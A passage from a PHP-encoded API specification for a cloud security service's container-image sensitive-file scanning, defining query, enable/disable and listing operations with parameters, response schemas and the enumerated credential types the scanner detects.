configuration.'."\n" .'* **heroku_api_key**: API key for Heroku.'."\n" .'* **messagebird_token**: MessageBird token.'."\n" .'* **github_app_token**: Github app token.'."\n" .'* **hashicorp_vault_token**: HashiCorp Vault token.'."\n" .'* **pgp_private_key**: PGP private key.'."\n" .'* **sshpasswd**: SSH password.'."\n" .'* **huaweicloud_ak**: secret access key of a third-party cloud.'."\n" .'* **aws_s3cmd**: AWS S3cmd configuration.'."\n" .'* **php_config**: PHP configuration.'."\n" .'* **common_private_key**: common private key.'."\n" .'* **microsoft_mdf**: Microsoft SQL Server database.'."\n" .'* **mediawiki_cfg**: MediaWiki configuration.'."\n" .'* **jenkins_cred**: Jenkins credential.'."\n" .'* **rubygems_cred**: RubyGems credential.'."\n" .'* **clojars_token**: Clojars token.'."\n" .'* **phoenix_web_passwd**: Phoenix web credential.'."\n" .'* **puttygen_private_key**: PuTTYgen private key.'."\n" .'* **google_oauth_token**: Google OAuth access token.'."\n" .'* **rubyonrails_cfg**: Ruby On Rails database configuration.'."\n" .'* **lob_api_key**: Lob API key for Lob.'."\n" .'* **pkcs_cred**: PKCS#12 certificate.'."\n" .'* **otr_private_key**: Off-the-Record Messaging (OTR) private key.'."\n" .'* **contentful_delivery_token**: Contentful delivery token.'."\n" .'* **digital_ocean_tugboat**: DigitalOcean Tugboat configuration.'."\n" .'* **dsa_private_key**: Digital Signature Algorithm (DSA) private key.'."\n" .'* **rails_app_token**: app token for Rails.'."\n" .'* **git_cred**: user credential for Git.'."\n" .'* **newrelic_api_key**: User API key for New Relic.'."\n" .'* **github_hub**: hub configuration for storing GitHub tokens.'."\n" .'* **rubygem**: RubyGem token.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sshpasswd', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'An array consisting of the types of the assets that you want to scan. Valid values:'."\n" .'- **image**'."\n" .'- **container**', 'type' => 'array', 'items' => [ 'description' => 'An array consisting of the types of the assets that you want to scan. Valid values:'."\n" .'- **image**'."\n" .'- **container**', 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page 1. Default value: 1.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level of the file. Separate multiple levels with commas (,). Valid values:'."\n" ."\n" .'- **high**'."\n" .'- **medium**'."\n" .'- **low**', 'type' => 'string', 'required' => false, 'example' => 'high', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the specified container image.'."\n" ."\n" .'> You can call the [ListRepository](~~451339~~) operation to obtain the IDs of container images from the value of the **InstanceId** response parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-qewqrqcsadf****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n" ."\n" .'> Fuzzy match is supported.', 'type' => 'string', 'required' => false, 'example' => 'harbor-image-v001', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n" .'> Fuzzy match is supported.', 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The image digest.'."\n" .'> Fuzzy match is supported.', 'type' => 'string', 'required' => false, 'example' => 'v005', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The sensitive file status. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: ignored'."\n" .'* **2**: false positive'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The information about the affected images.'."\n", 'type' => 'object', 'properties' => [ 'ImageInfos' => [ 'description' => 'The information about the images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The image UUID.'."\n", 'type' => 'string', 'example' => 'f58681174f944623345379e23b7b****', ], 'RegionId' => [ 'description' => 'The ID of the region in which the image instance resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'The image instance ID.'."\n", 'type' => 'string', 'example' => 'cri-a595qp31knh9****', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'libssh2', ], 'RepoName' => [ 'description' => 'The image repository name.'."\n", 'type' => 'string', 'example' => 'opa-test', ], 'Digest' => [ 'description' => 'The image digest.'."\n", 'type' => 'string', 'example' => 'v005', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => 'nuxeo6', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], 'Status' => [ 'description' => 'The sensitive file status. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: ignored'."\n" .'* **2**: false positive'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 20.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.', 'type' => 'integer', 'format' => 'int32', 'example' => '83', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'LastRowKey' => [ 'description' => 'The key of the last data entry.', 'type' => 'string', 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" .'- **true**: The request was successful.'."\n" .'- **false**: The request failed.', 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.', 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'E0C5C07F-1576-509A-AE44-1C36B8445B37', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ImageInfos\\": [\\n {\\n \\"Uuid\\": \\"f58681174f944623345379e23b7b****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"cri-a595qp31knh9****\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"RepoName\\": \\"opa-test\\",\\n \\"Digest\\": \\"v005\\",\\n \\"Tag\\": \\"nuxeo6\\",\\n \\"FirstScanTime\\": 1649814050000,\\n \\"LastScanTime\\": 1649814050000,\\n \\"RiskLevel\\": \\"low\\",\\n \\"Status\\": \\"0\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 4,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E0C5C07F-1576-509A-AE44-1C36B8445B37\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DescribeImageListBySensitiveFile', ], 'OpenSensitiveFileScan' => [ 'summary' => 'Enables or disables sensitive file scan.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '156730', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SwitchOn', 'in' => 'query', 'schema' => [ 'title' => '开关操作, on打开, off关闭', 'description' => 'Specifies whether to enable or disable sensitive file scan. Valid values:'."\n" ."\n" .'* **on**: enables sensitive file scan'."\n" .'* **off**: disables sensitive file scan'."\n", 'type' => 'string', 'required' => false, 'example' => 'on', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data.'."\n", 'type' => 'object', 'properties' => [ 'SwitchOn' => [ 'title' => '开关操作, on打开, off关闭', 'description' => 'Indicates whether sensitive file scan is enabled or disabled. Valid values:'."\n" ."\n" .'* **on**: enabled'."\n" .'* **off**: disabled'."\n", 'type' => 'string', 'example' => 'on', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B4A4C081-7F06-5481-9323-02A5419B9423', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"SwitchOn\\": \\"on\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"B4A4C081-7F06-5481-9323-02A5419B9423\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'OpenSensitiveFileScan', ], 'DescribeImageSensitiveFileList' => [ 'summary' => 'Queries information about sensitive files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '156729', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The value of the sensitive file type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rails Master Key', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the sensitive files that you want to query. Valid values:'."\n" ."\n" .'* **SensitiveFileKey**: the type of alerts for sensitive files. Valid values:'."\n" ."\n" .' * **npm_token**: Node Package Manager (NPM) access token'."\n" .' * **ftp_cfg**: FTP configuration'."\n" .' * **google_oauth_key**: Google OAuth key'."\n" .' * **planetscale_passwd**: PlanetScale password'."\n" .' * **github_ssh_key**: Github SSH key'."\n" .' * **msbuild_publish_profile**: MSBuild publish profile'."\n" .' * **fastly_cdn_token**: Fastly CDN token'."\n" .' * **ssh_private_key**: SSH private key'."\n" .' * **aws_cli**: Amazon Web Services (AWS) CLI credentials'."\n" .' * **cpanel_proftpd**: cPanel ProFTPD credentials'."\n" .' * **postgresql_passwd**: PostgreSQL password'."\n" .' * **discord_client_cred**: Discord client credentials'."\n" .' * **rails_database**: Rails database configuration'."\n" .' * **aws_access_key**: AWS access key'."\n" .' * **esmtp_cfg**: Extended Simple Mail Transfer Protocol (ESMTP) configuration'."\n" .' * **docker_registry_cfg**: Docker image repository configuration'."\n" .' * **pem**: Privacy-Enhanced Mail (PEM)'."\n" .' * **common_cred**: common credentials'."\n" .' * **sftp_cfg**: Secure File Transfer Protocol (SFTP) connection configuration'."\n" .' * **grafana_token**: Grafana token'."\n" .' * **slack_token**: Slack token'."\n" .' * **ec_private_key**: EC private key'."\n" .' * **pypi_token**: upload token for the Python Package Index (PyPI)'."\n" .' * **finicity_token**: Finicity token'."\n" .' * **k8s_client_key**: Kubernetes private key'."\n" .' * **git_cfg**: Git configuration'."\n" .' * **django_key**: Django key'."\n" .' * **jenkins_ssh**: Jenkins SSH configuration file'."\n" .' * **openssh_private_key**: OpenSSL private key'."\n" .' * **square_oauth**: OAuth credential for Square'."\n" .' * **typeform_token**: Typeform token'."\n" .' * **common_database_cfg**: general database connection configuration'."\n" .' * **wordpress_database_cfg**: WordPress database configuration'."\n" .' * **googlecloud_api_key**: API key for Google Cloud'."\n" .' * **vscode_sftp**: VSCode SFTP configuration'."\n" .' * **apache_htpasswd**: Apache htpasswd'."\n" .' * **planetscale_token**: PlanetScale token'."\n" .' * **contentful_preview_token**: preview token for Contentful'."\n" .' * **php_database_cfg**: database password for a PHP application'."\n" .' * **atom_remote_sync**: Atom remote synchronization configuration'."\n" .' * **aws_session_token**: AWS session token'."\n" .' * **atom_sftp_cfg**: Atom SFTP configuration'."\n" .' * **asana_client_private_key**: Asana client key'."\n" .' * **tencentcloud_ak**: secret ID of a third-party cloud'."\n" .' * **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key'."\n" .' * **github_personal_token**: personal access token for GitHub'."\n" .' * **pgp**: Pretty Good Privacy (PGP) encrypted file'."\n" .' * **stripe_skpk**: Stripe secret key'."\n" .' * **square_token**: Square access token'."\n" .' * **rails_carrierwave**: file upload credentials for Rails Carrierwave'."\n" .' * **dbeaver_database_cfg**: DBeaver database configuration'."\n" .' * **robomongo_cred**: Robomongo credentials'."\n" .' * **github_oauth_token**: OAuth access token for GitHub'."\n" .' * **pulumi_token**: Pulumi token'."\n" .' * **ventrilo_voip**: Ventrilo VoIP server configuration'."\n" .' * **macos_keychain** :macOS keychain'."\n" .' * **amazon_mws_token**: Amazon MWS token'."\n" .' * **dynatrace_token**: Dynatrace token'."\n" .' * **java_keystore**: Java KeyStore (JKS)'."\n" .' * **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database'."\n" .' * **kubernetes_dashboard_cred**: user credentials for Kubernetes Dashboard'."\n" .' * **atlassian_token**: Atlassian token'."\n" .' * **rdp**: remote desktop protocol (RDP)'."\n" .' * **mailgun_key**: Mailgun webhook signing key'."\n" .' * **mailchimp_api_key**: API key for Mailchimp'."\n" .' * **netrc_cfg**: .netrc configuration file'."\n" .' * **openvpn_cfg**: OpenVPN configuration'."\n" .' * **github_refresh_token**: GitHub refresh token'."\n" .' * **salesforce**: Salesforce credentials'."\n" .' * **salesforce**: Sendinblue credentials'."\n" .' * **pkcs_private_key**: PKCS#12 key'."\n" .' * **rubyonrails_passwd**: Ruby on Rails password file'."\n" .' * **filezilla_ftp**: FileZilla FTP configuration'."\n" .' * **databricks_token**: Databricks token'."\n" .' * **gitLab_personal_toke**: personal access token for GitLab'."\n" .' * **rails_master_key**: Rails master key'."\n" .' * **sqlite**: SQLite3 or SQLite database'."\n" .' * **firefox_logins**: Firefox logon configuration'."\n" .' * **mailgun_private_token**: Mailgun private token'."\n" .' * **joomla_cfg**: Joomla configuration'."\n" .' * **hashicorp_terraform_token**: HashiCorp Terraform token'."\n" .' * **jetbrains_ides**: JetBrains IDEs configuration'."\n" .' * **heroku_api_key**: Heroku API key'."\n" .' * **messagebird_token**: MessageBird token'."\n" .' * **messagebird_token**: MessageBird token'."\n" .' * **hashicorp_vault_token**: HashiCorp Vault token'."\n" .' * **pgp_private_key**: PGP private key'."\n" .' * **sshpasswd**: SSH password'."\n" .' * **huaweicloud_ak**: secret access key of a third-party cloud'."\n" .' * **aws_s3cmd**: AWS S3cmd configuration'."\n" .' * **php_config**: PHP configuration'."\n" .' * **common_private_key**: private key of a common type'."\n" .' * **microsoft_mdf**: Microsoft SQL Server database'."\n" .' * **mediawiki_cfg**: MediaWiki configuration'."\n" .' * **jenkins_cred**: Jenkins credentials'."\n" .' * **rubygems_cred**: RubyGems credentials'."\n" .' * **clojars_token**: Clojars token'."\n" .' * **phoenix_web_passwd**: Phoenix web credentials'."\n" .' * **puttygen_private_key**: PuTTYgen private key'."\n" .' * **google_oauth_token**: Google OAuth access token'."\n" .' * **rubyonrails_cfg**: Ruby On Rails database configuration'."\n" .' * **lob_api_key**: Lob API key'."\n" .' * **pkcs_cred**: PKCS#12 certificate'."\n" .' * **otr_private_key**: Off-the-Record Messaging (OTR) private key'."\n" .' * **contentful_delivery_token**: delivery token for Contentful'."\n" .' * **digital_ocean_tugboat**: DigitalOcean Tugboat configuration'."\n" .' * **dsa_private_key**: Digital Signature Algorithm (DSA) private key'."\n" .' * **rails_app_token**: Rails app token'."\n" .' * **git_cred**: Git user credential'."\n" .' * **newrelic_api_key**: User API key for New Relic'."\n" .' * **github_hub**: hub configuration for storing GitHub tokens'."\n" .' * **rubygem**: RubyGem token'."\n" ."\n" .'* **SensitiveFileName**: the name of the alert type for sensitive files.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SensitiveFileKey', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'low', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'An array that consists of the types of the assets that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation of Container Registry to query the image UUID from the value of the **ImageUuid** response parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '850613a48999900f48417c7e6e9dcfdd', ], ], [ 'name' => 'SensitiveKeyList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '敏感文件Key列表', 'type' => 'array', 'items' => [ 'title' => '敏感文件Key', 'type' => 'string', 'example' => 'Token', ], 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'SensitiveFileList' => [ 'description' => 'An array that consists of the information about the sensitive files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the sensitive file.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'SensitiveFileKey' => [ 'description' => 'The type of the alert for the sensitive file. Valid values:'."\n" ."\n" .'* **npm_token**: Node Package Manager (NPM) access token.'."\n" .'* **ftp_cfg**: FTP configuration.'."\n" .'* **google_oauth_key**: Google OAuth key.'."\n" .'* **planetscale_passwd**: PlanetScale password.'."\n" .'* **github_ssh_key**: GitHub SSH key.'."\n" .'* **msbuild_publish_profile**: MSBuild publish profile.'."\n" .'* **fastly_cdn_token**: Fastly CDN token.'."\n" .'* **ssh_private_key**: SSH private key.'."\n" .'* **aws_cli**: Amazon Web Services (AWS) CLI credential.'."\n" .'* **cpanel_proftpd**: cPanel ProFTPD credential.'."\n" .'* **postgresql_passwd**: PostgreSQL password file.'."\n" .'* **discord_client_cred**: Discord client credential.'."\n" .'* **rails_database**: Rails database configuration.'."\n" .'* **aws_access_key**: AWS access key.'."\n" .'* **esmtp_cfg**: Extended Simple Mail Transfer Protocol (ESMTP) configuration.'."\n" .'* **docker_registry_cfg**: Docker image repository configuration.'."\n" .'* **pem**: Privacy-Enhanced Mail (PEM).'."\n" .'* **common_cred**: common credential.'."\n" .'* **sftp_cfg**: Secure File Transfer Protocol (SFTP) connection configuration.'."\n" .'* **grafana_token**: Grafana token.'."\n" .'* **slack_token**: Slack token.'."\n" .'* **ec_private_key**: EC private key.'."\n" .'* **pypi_token**: upload token for the Python Package Index (PyPI).'."\n" .'* **finicity_token**: Finicity token.'."\n" .'* **k8s_client_key**: Kubernetes client private key.'."\n" .'* **git_cfg**: Git configuration.'."\n" .'* **django_key**: Django key.'."\n" .'* **jenkins_ssh**: Jenkins SSH configuration file.'."\n" .'* **openssh_private_key**: OpenSSH private key.'."\n" .'* **square_oauth**: OAuth credential for Square.'."\n" .'* **typeform_token**: Typeform token.'."\n" .'* **common_database_cfg**: general database connection configuration.'."\n" .'* **wordpress_database_cfg**: WordPress database configuration.'."\n" .'* **googlecloud_api_key**: API key for Google Cloud.'."\n" .'* **vscode_sftp**: VS Code SFTP configuration.'."\n" .'* **apache_htpasswd**: Apache htpasswd.'."\n" .'* **planetscale_token**: PlanetScale token.'."\n" .'* **contentful_preview_token**: preview token for Contentful.'."\n" .'* **php_database_cfg**: database password for a PHP application.'."\n" .'* **atom_remote_sync**: Atom remote synchronization configuration.'."\n" .'* **aws_session_token**: AWS session token.'."\n" .'* **atom_sftp_cfg**: Atom SFTP configuration.'."\n" .'* **asana_client_private_key**: Asana client key.'."\n" .'* **tencentcloud_ak**: secret ID of a third-party cloud.'."\n" .'* **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key.'."\n" .'* **github_personal_token**: personal access token for GitHub.'."\n" .'* **pgp**: Pretty Good Privacy (PGP) encrypted file.'."\n" .'* **stripe_skpk**: Stripe secret key.'."\n" .'* **square_token**: Square access token.'."\n" .'* **rails_carrierwave**: file upload credential for Rails Carrierwave.'."\n" .'* **dbeaver_database_cfg**: DBeaver database configuration.'."\n" .'* **robomongo_cred**: Robomongo credential.'."\n" .'* **github_oauth_token**: OAuth access token for GitHub.'."\n" .'* **pulumi_token**: Pulumi token.'."\n" .'* **ventrilo_voip**: Ventrilo VoIP server configuration.'."\n" .'* **macos_keychain**: macOS keychain.'."\n" .'* **amazon_mws_token**: Amazon MWS token.'."\n" .'* **dynatrace_token**: Dynatrace token.'."\n" .'* **java_keystore**: Java KeyStore (JKS).'."\n" .'* **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database.'."\n" .'* **kubernetes_dashboard_cred**: user credential for Kubernetes Dashboard.'."\n" .'* **atlassian_token**: Atlassian token.'."\n" .'* **rdp**: remote desktop protocol (RDP).'."\n" .'* **mailgun_key**: Mailgun webhook signing key.'."\n" .'* **mailchimp_api_key**: API key for Mailchimp.'."\n" .'* **netrc_cfg**: .netrc configuration file.'."\n" .'* **openvpn_cfg**: OpenVPN client configuration.'."\n" .'* **github_refresh_token**: GitHub refresh token.'."\n" .'* **salesforce**: Salesforce credential.'."\n" .'* **sendinblue**: Sendinblue token.'."\n" .'* **pkcs_private_key**: PKCS#12 key.'."\n" .'* **rubyonrails_passwd**: Ruby on Rails password file.'."\n" .'* **filezilla_ftp**: FileZilla FTP configuration.'."\n" .'* **databricks_token**: Databricks token.'."\n" .'* **gitLab_personal_token**: personal access token for GitLab.'."\n" .'* **rails_master_key**: Rails master key.'."\n" .'* **sqlite**: SQLite3 or SQLite database.'."\n" .'* **firefox_logins**: Firefox logon configuration.'."\n" .'* **mailgun_private_token**: Mailgun private token.'."\n" .'* **joomla_cfg**: Joomla configuration.'."\n" .'* **hashicorp_terraform_token**: HashiCorp Terraform token.'."\n" .'* **jetbrains_ides**: JetBrains IDEs configuration.'."\n" .'* **heroku_api_key**: Heroku API key.'."\n" .'* **messagebird_token**: MessageBird token.'."\n" .'* **github_app_token**: GitHub app token.'."\n" .'* **hashicorp_vault_token**: HashiCorp Vault token.'."\n" .'* **pgp_private_key**: PGP private key.'."\n" .'* **sshpasswd**: SSH password.'."\n" .'* **huaweicloud_ak**: secret access key of a third-party cloud.'."\n" .'* **aws_s3cmd**: AWS S3cmd configuration.'."\n" .'* **php_config**: PHP configuration.'."\n" .'* **common_private_key**: private key of a common type.'."\n" .'* **microsoft_mdf**: Microsoft SQL Server database.'."\n" .'* **mediawiki_cfg**: MediaWiki configuration.'."\n" .'* **jenkins_cred**: Jenkins credential.'."\n" .'* **rubygems_cred**: RubyGems credential.'."\n" .'* **clojars_token**: Clojars token.'."\n" .'* **phoenix_web_passwd**: Phoenix web credential.'."\n" .'* **puttygen_private_key**: PuTTYgen private key.'."\n" .'* **google_oauth_token**: Google OAuth access token.'."\n" .'* **rubyonrails_cfg**: Ruby on Rails database configuration.'."\n" .'* **lob_api_key**: Lob API key.'."\n" .'* **pkcs_cred**: PKCS#12 certificate.'."\n" .'* **otr_private_key**: Off-the-Record Messaging (OTR) private key.'."\n" .'* **contentful_delivery_token**: delivery token for Contentful.'."\n" .'* **digital_ocean_tugboat**: DigitalOcean Tugboat configuration.'."\n" .'* **dsa_private_key**: Digital Signature Algorithm (DSA) private key.'."\n" .'* **rails_app_token**: Rails app token.'."\n" .'* **git_cred**: Git user credential.'."\n" .'* **newrelic_api_key**: user API key for New Relic.'."\n" .'* **github_hub**: hub configuration for storing GitHub tokens.'."\n" .'* **rubygem**: RubyGems token.'."\n", 'type' => 'string', 'example' => 'google_oauth_key', ], 'SensitiveFileName' => [ 'description' => 'The name of the alert type for the sensitive file.'."\n", 'type' => 'string', 'example' => 'AccessKeyLeak', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663321552000', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663321552000', ], 'Count' => [ 'description' => 'The number of scans that are performed on the sensitive file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'ClassKey' => [ 'description' => 'The key of the sensitive file type.'."\n", 'type' => 'string', 'example' => 'password', ], 'ClassName' => [ 'description' => 'The name of the sensitive file type.'."\n", 'type' => 'string', 'example' => 'password', ], 'UnprocessedNum' => [ 'description' => 'The number of unprocessed mirrors.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Advice' => [ 'description' => 'The suggestion.'."\n", 'type' => 'string', 'example' => 'Assess risks based on business conditions, remove risky content.', ], 'Description' => [ 'description' => 'The description of the sensitive file.'."\n", 'type' => 'string', 'example' => 'Verify the validity of the leaked AK.', ], 'Status' => [ 'description' => 'The status of the sensitive file. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: handled.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of 